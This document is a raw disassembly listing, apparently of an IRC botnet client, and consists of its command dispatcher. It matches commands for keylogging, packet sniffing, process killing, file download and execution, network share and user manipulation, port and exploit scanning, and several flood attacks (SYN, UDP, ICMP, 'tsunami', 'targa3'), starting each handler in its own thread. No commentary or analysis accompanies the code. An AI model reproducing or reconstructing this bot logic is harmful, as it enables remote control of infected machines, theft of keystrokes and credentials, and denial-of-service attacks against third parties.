jz loc_409531
push [ebp+arg_8]
push offset aPart_0 ; "part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aPt ; "pt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409515
push [ebp+arg_8]
push offset aRaw ; "raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aR ; "r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4094DB
push [ebp+arg_8]
push offset aKillthread ; "killthread"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aK ; "k"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409418
push [ebp+arg_8]
push offset aC_quit ; "c_quit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_q ; "c_q"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40936D
push [ebp+arg_8]
push offset aC_rndnick ; "c_rndnick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aC_rn ; "c_rn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40931F
push [ebp+arg_8]
push offset aPrefix ; "prefix"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aPr ; "pr"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40930A
push [ebp+arg_8]
push offset aOpen ; "open"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
push offset aO ; "o"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092E0
push [ebp+arg_8]
push offset aServer ; "server"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aSe ; "se"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4092C7
push [ebp+arg_8]
push offset aDns ; "dns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aDn ; "dn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40925F
push [ebp+arg_8]
push offset aKillproc ; "killproc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKp ; "kp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_409233
push [ebp+arg_8]
push offset aKill ; "kill"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aKi ; "ki"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091D8
push [ebp+arg_8]
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aDel ; "del"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4091A0
push [ebp+arg_8]
push offset aGet ; "get"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aGt ; "gt"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090C3
push [ebp+arg_8]
push offset aList ; "list"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aLi ; "li"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push [ebp+arg_8]
push offset aVisit ; "visit"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aV ; "v"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408FB5
push [ebp+arg_8]
push offset aMirccmd ; "mirccmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aMirc ; "mirc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F6F
push [ebp+arg_8]
push offset aCmd ; "cmd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aCm ; "cm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408F18
push [ebp+arg_8]
push offset aReadfile ; "readfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aRf ; "rf"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408EA1
push [ebp+arg_8]
push offset aPsniff ; "psniff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C9F
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405C67
push 20h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405B91
push offset dword_42B694
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405B91: ; CODE XREF: sub_401ACD+40B8j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_F5C], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_ED0], eax
jnz short loc_405BD3
mov esi, offset aF_1 ; "#f"
push offset byte_43DB98
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405BD3
mov esi, [ebp+var_88]
loc_405BD3: ; CODE XREF: sub_401ACD+40E8j
; sub_401ACD+40FEj
push esi
lea eax, [ebp+var_F58]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B664
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F5C]
push ebx
push eax
push offset sub_412B61
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_405C56
loc_405C40: ; CODE XREF: sub_401ACD+4187j
cmp [ebp+var_ECC], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_405C40
; ---------------------------------------------------------------------------
loc_405C56: ; CODE XREF: sub_401ACD+4171j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B628
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C67: ; CODE XREF: sub_401ACD+40A8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 20h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C95
push eax
push offset dword_42B5EC
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405C95: ; CODE XREF: sub_401ACD+41BBj
push offset dword_42B5C0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405C9F: ; CODE XREF: sub_401ACD+4093j
push [ebp+arg_8]
push offset aSniffer ; "sniffer"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DEF
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405DB7
push 21h
call sub_40B602
test eax, eax
pop ecx
jle short loc_405CE1
push offset unk_42B598
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405CE1: ; CODE XREF: sub_401ACD+4208j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_E40], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E3C], eax
jnz short loc_405D23
mov esi, offset aF_1 ; "#f"
push offset byte_43DB98
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405D23
mov esi, [ebp+var_88]
loc_405D23: ; CODE XREF: sub_401ACD+4238j
; sub_401ACD+424Ej
push esi
lea eax, [ebp+var_EC4]
push 80h
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B56C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B3BA
add esp, 14h
mov [ebp+var_E44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC8]
push ebx
push eax
push offset sub_4131EC
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_E44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_405DA6
loc_405D90: ; CODE XREF: sub_401ACD+42D7j
cmp [ebp+var_E38], ebx
jnz loc_4081AD
push 32h
call dword_427080 ; Sleep
jmp short loc_405D90
; ---------------------------------------------------------------------------
loc_405DA6: ; CODE XREF: sub_401ACD+42C1j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B530
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DB7: ; CODE XREF: sub_401ACD+41F8j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 21h
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DE5
push eax
push offset unk_42B4F4
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405DE5: ; CODE XREF: sub_401ACD+430Bj
push offset unk_42B4C8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405DEF: ; CODE XREF: sub_401ACD+41E3j
push [ebp+arg_8]
push offset aIdent ; "ident"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_405EC2
push edi
push offset aOn ; "on"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405E8A
push 2
call sub_40B602
test eax, eax
pop ecx
jle short loc_405E2D
push offset dword_42B4A0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405E2D: ; CODE XREF: sub_401ACD+4354j
lea eax, [ebp+var_2C4]
push offset dword_42B474
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_410BFD
push ebx
push ebx
call dword_427084 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E934[esi], eax
jnz loc_4081AD
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B440
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405E8A: ; CODE XREF: sub_401ACD+4348j
push edi
push offset aOff ; "off"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4081AD
push ebx
push 2
call sub_40B5B5
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405EB8
push eax
push offset dword_42B408
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_405EB8: ; CODE XREF: sub_401ACD+43DEj
push offset dword_42B3E8
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_405EC2: ; CODE XREF: sub_401ACD+4333j
push [ebp+arg_8]
push offset aKeyloger ; "keyloger"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aKeylog ; "keylog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408D24
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408CFB
push [ebp+arg_8]
push offset aNet ; "net"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_40616D
cmp dword_4CBAB4, ebx
jz short loc_405F4F
cmp dword_4CBADC, ebx
jz short loc_405F4F
push offset unk_42B390
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405F4F: ; CODE XREF: sub_401ACD+446Ej
; sub_401ACD+4476j
cmp [ebp+var_C], ebx
jz loc_406BFE
mov eax, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_405F77
push eax
push [ebp+var_C]
call sub_41C2E0
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_405F77: ; CODE XREF: sub_401ACD+449Aj
push edi
push offset aStart ; "start"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FC3
cmp [ebp+arg_18], ebx
jz short loc_405F97
push [ebp+arg_0]
push 3
jmp loc_406021
; ---------------------------------------------------------------------------
loc_405F97: ; CODE XREF: sub_401ACD+44BEj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418EA8
add esp, 0Ch
test eax, eax
jz short loc_405FB9
push offset unk_42B364
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FB9: ; CODE XREF: sub_401ACD+44E0j
push offset unk_42B344
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_405FC3: ; CODE XREF: sub_401ACD+44B9j
push edi
push offset aStop ; "stop"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FDB
push [ebp+arg_0]
push 4
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FDB: ; CODE XREF: sub_401ACD+4505j
push edi
push offset aPause ; "pause"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_405FF3
push [ebp+arg_0]
push 5
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_405FF3: ; CODE XREF: sub_401ACD+451Dj
push edi
push offset aContinue ; "continue"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40600B
push [ebp+arg_0]
push 6
jmp short loc_406021
; ---------------------------------------------------------------------------
loc_40600B: ; CODE XREF: sub_401ACD+4535j
push edi
push offset aDelete ; "delete"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406033
push [ebp+arg_0]
push 1
loc_406021: ; CODE XREF: sub_401ACD+44C5j
; sub_401ACD+450Cj ...
call sub_418C0E
pop ecx
pop ecx
loc_406028: ; CODE XREF: sub_401ACD+459Fj
; sub_401ACD+4628j ...
push eax
push offset aS_2 ; "%s"
jmp loc_406BEF
; ---------------------------------------------------------------------------
loc_406033: ; CODE XREF: sub_401ACD+454Dj
push edi
push offset aShare ; "share"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40609B
cmp [ebp+arg_18], ebx
jz short loc_40606E
cmp [ebp+var_8FC], bl
jz short loc_406059
push ebx
push [ebp+arg_18]
push 1
jmp short loc_406064
; ---------------------------------------------------------------------------
loc_406059: ; CODE XREF: sub_401ACD+4582j
push [ebp+esi+var_84]
push [ebp+arg_18]
push ebx
loc_406064: ; CODE XREF: sub_401ACD+458Aj
call sub_418FE5
add esp, 0Ch
jmp short loc_406028
; ---------------------------------------------------------------------------
loc_40606E: ; CODE XREF: sub_401ACD+457Aj
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4191DB
add esp, 10h
test eax, eax
jz short loc_406091
push offset unk_42B304
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406091: ; CODE XREF: sub_401ACD+45B8j
push offset unk_42B2E4
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40609B: ; CODE XREF: sub_401ACD+4575j
push edi
push offset aUser ; "user"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406127
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4060FA
cmp [ebp+var_8FC], bl
jz short loc_4060CD
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060CD: ; CODE XREF: sub_401ACD+45ECj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4060E9
push esi
push eax
push ebx
jmp short loc_4060ED
; ---------------------------------------------------------------------------
loc_4060E9: ; CODE XREF: sub_401ACD+4615j
push ebx
push eax
push 2
loc_4060ED: ; CODE XREF: sub_401ACD+45FEj
; sub_401ACD+461Aj
call sub_4192FC
add esp, 18h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_4060FA: ; CODE XREF: sub_401ACD+45E4j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41982C
add esp, 10h
test eax, eax
jz short loc_40611D
push offset unk_42B2C4
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40611D: ; CODE XREF: sub_401ACD+4644j
push offset unk_42B2A4
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406127: ; CODE XREF: sub_401ACD+45DDj
push edi
push offset aSend ; "send"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406163
cmp [ebp+arg_18], ebx
jz short loc_406159
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419AE0
add esp, 10h
jmp loc_406028
; ---------------------------------------------------------------------------
loc_406159: ; CODE XREF: sub_401ACD+466Ej
push offset unk_42B278
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_406163: ; CODE XREF: sub_401ACD+4669j
push offset unk_42B25C
jmp loc_4084F5
; ---------------------------------------------------------------------------
loc_40616D: ; CODE XREF: sub_401ACD+4462j
push [ebp+arg_8]
push offset aGethost ; "gethost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
push [ebp+arg_8]
push offset aGh ; "gh"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408C0D
loc_40619B: ; CODE XREF: sub_401ACD+3C8Fj
; sub_401ACD+3CC5j ...
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401F75
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BF0
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408BBE
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset dword_42B940
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B6D
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aA ; "a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408B04
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A9E
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aM ; "m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408A64
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4089F6
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408971
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408900
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4088DA
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40887A
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40877F
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4086AA
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4085A5
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408508
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aHadeth3 ; "HADETH3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408379
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aE ; "e"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4082E6
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4081D7
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408160
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_408063
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401F75
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aC ; "c"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407F7B
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407E82
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4066AE
push 7Fh
lea eax, [ebp+var_3280]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3200]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3180]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3100]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3078], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_307C], edi
mov [ebp+var_3284], esi
call sub_40B3BA
add esp, 3Ch
mov [ebp+var_3080], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3284]
push ebx
push eax
push offset sub_41525A
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_3080]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_40669D
loc_406687: ; CODE XREF: sub_401ACD+4BCEj
cmp [ebp+var_3074], ebx
jnz loc_403D46
push 32h
call dword_427080 ; Sleep
jmp short loc_406687
; ---------------------------------------------------------------------------
loc_40669D: ; CODE XREF: sub_401ACD+4BB8j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42B0E8
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_4066AE: ; CODE XREF: sub_401ACD+4B0Ej
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407D9A
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_4067DB
push 7Fh
lea eax, [ebp+var_36A8]
pop esi
push esi
push edi
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3628]
push [ebp+arg_18]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_35A8]
push [ebp+arg_0]
push eax
call sub_41BFD0
push esi
lea eax, [ebp+var_3528]
push [ebp+var_88]
push eax
call sub_41BFD0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A4], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_34A0], eax
lea eax, [ebp+var_2C4]
push [ebp+arg_18]
mov [ebp+var_36AC], esi
push edi
push offset dword_42B0A0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_34A8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36AC]
push ebx
push eax
push offset sub_4141B2
push ebx
push ebx
call dword_427084 ; CreateThread
mov ecx, [ebp+var_34A8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E934[ecx], eax
jz short loc_4067CA
loc_4067B4: ; CODE XREF: sub_401ACD+4CFBj
cmp [ebp+var_349C], ebx
jnz loc_407196
push 32h
call dword_427080 ; Sleep
jmp short loc_4067B4
; ---------------------------------------------------------------------------
loc_4067CA: ; CODE XREF: sub_401ACD+4CE5j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset dword_42B064
jmp loc_407187
; ---------------------------------------------------------------------------
loc_4067DB: ; CODE XREF: sub_401ACD+4C20j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401F75
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aAd ; "ad"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aU ; "u"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aNetsend ; "netsend"
